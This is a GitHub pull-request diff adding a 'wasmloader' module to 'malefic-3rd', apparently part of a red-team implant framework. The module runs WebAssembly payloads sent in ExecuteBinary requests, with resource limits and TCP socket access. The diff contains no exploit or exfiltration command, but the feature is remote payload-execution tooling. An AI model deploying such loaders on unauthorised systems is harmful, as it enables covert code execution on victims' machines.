Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
66 changes: 66 additions & 0 deletions Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

5 changes: 4 additions & 1 deletion malefic-3rd/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ crate-type = ["cdylib", "rlib"]

[features]
default = ["full", "as_module_dll"]
full = ["rem", "curl", "pty"]
full = ["rem", "curl", "pty", "wasmloader"]

as_module_dll = ["malefic-module/ffi"]
host_bridge = ["malefic-features/runtime_tokio"]
Expand All @@ -20,6 +20,7 @@ rem_dial = []
load_rem = []
rem = ["malefic-rem/rem", "malefic-rem/rem_static", "rem_dial", "memory_dial"]
pty = ["portable-pty", "futures-timer"]
wasmloader = ["dep:getrandom", "dep:wasmi"]

[dependencies]
malefic-gateway = { workspace = true }
Expand All @@ -34,9 +35,11 @@ anyhow = { workspace = true }
futures = { workspace = true }
futures-channel = { workspace = true }
futures-timer = { workspace = true, optional = true }
getrandom = { workspace = true, optional = true }

ureq = { version = "2.12", default-features = false, optional = true }
portable-pty = { version = "0.8", optional = true }
wasmi = { version = "0.31", optional = true, default-features = false }

[dev-dependencies]
ureq = "2.12"
Expand Down
33 changes: 33 additions & 0 deletions malefic-3rd/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
# malefic-3rd

## wasmloader

The optional `wasmloader` feature registers a `wasmloader` module that executes
WASI-compatible WebAssembly bytecode with the `wasmi` interpreter. It also
implements the `wasix_32v1` IPv4 TCP socket imports emitted by the REM TinyGo
build.

The interpreter dependencies are feature-gated: default `full` builds include
them, while minimal builds can omit the entire WASM runtime.

The module accepts an `ExecuteBinary` request:

| Field | Meaning |
| --- | --- |
| `bin` | WebAssembly bytecode |
| `entry_point` | Exported no-argument function; defaults to `_start` |
| `name` | WASI `argv[0]`; defaults to `wasmloader` |
| `args` | Remaining WASI arguments |
| `param` | WASI environment variables and the reserved limits below |
| `data` | Standard input |

Reserved `param` keys:

| Key | Default | Maximum |
| --- | ---: | ---: |
| `fuel` | 50,000,000 | 1,000,000,000 |
| `memory_limit` | 64 MiB | 256 MiB |
| `output_limit` | 16 MiB | 64 MiB |

The result is returned as `BinaryResponse`: `data` is stdout, `message` is
stderr, and `status` is the WASI exit code. Filesystem access is not exposed.
20 changes: 16 additions & 4 deletions malefic-3rd/src/lib.rs
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,9 @@ mod curl;
#[cfg(feature = "pty")]
mod pty;

#[cfg(feature = "wasmloader")]
mod wasmloader;

use prelude::*;
use std::collections::HashMap;

Expand All @@ -26,13 +29,22 @@ pub extern "C" fn register_3rd() -> MaleficBundle {
#[cfg(feature = "pty")]
register_module!(map, "pty", pty::Pty);

#[cfg(feature = "wasmloader")]
register_module!(map, "wasmloader", wasmloader::WasmLoader);

map
}

#[cfg(feature = "as_module_dll")]
malefic_module::register_rt_modules!(
#[cfg(feature = "rem")] rem::RemDial,
#[cfg(feature = "rem")] rem::MemoryDial,
#[cfg(feature = "curl")] curl::Curl,
#[cfg(feature = "pty")] pty::Pty
#[cfg(feature = "rem")]
rem::RemDial,
#[cfg(feature = "rem")]
rem::MemoryDial,
#[cfg(feature = "curl")]
curl::Curl,
#[cfg(feature = "pty")]
pty::Pty,
#[cfg(feature = "wasmloader")]
wasmloader::WasmLoader
);
51 changes: 51 additions & 0 deletions malefic-3rd/src/wasmloader/mod.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
//! Resource-limited loader for WASI-compatible WebAssembly bytecode.
//!
//! The module consumes an `ExecuteBinary` body. `bin` contains the module,
//! `entry_point` defaults to `_start`, `name` becomes WASI `argv[0]`, `args`
//! are appended to the argument vector, `data` is exposed as stdin, and
//! `param` entries become environment variables. The reserved `fuel`,
//! `memory_limit`, and `output_limit` parameters configure runtime limits.

mod runtime;
mod wasi;
mod wasix;

use crate::prelude::*;
use async_trait::async_trait;
use malefic_proto::proto::modulepb::BinaryResponse;

pub struct WasmLoader;

#[async_trait]
#[module_impl("wasmloader")]
impl Module for WasmLoader {}

#[async_trait]
impl ModuleImpl for WasmLoader {
async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult {
let request = check_request!(receiver, Body::ExecuteBinary)?;
let options = runtime::RuntimeOptions::new(
request.name,
request.entry_point,
request.args,
request.param,
request.data,
)
.map_err(anyhow::Error::msg)?;
let result = runtime::execute(&request.bin, options).map_err(anyhow::Error::msg)?;

Ok(TaskResult::new_with_body(
id,
Body::BinaryResponse(BinaryResponse {
status: result.exit_code,
message: result.stderr.clone(),
data: result.stdout,
err: if result.exit_code == 0 {
String::new()
} else {
String::from_utf8_lossy(&result.stderr).into_owned()
},
}),
))
}
}
Loading
Loading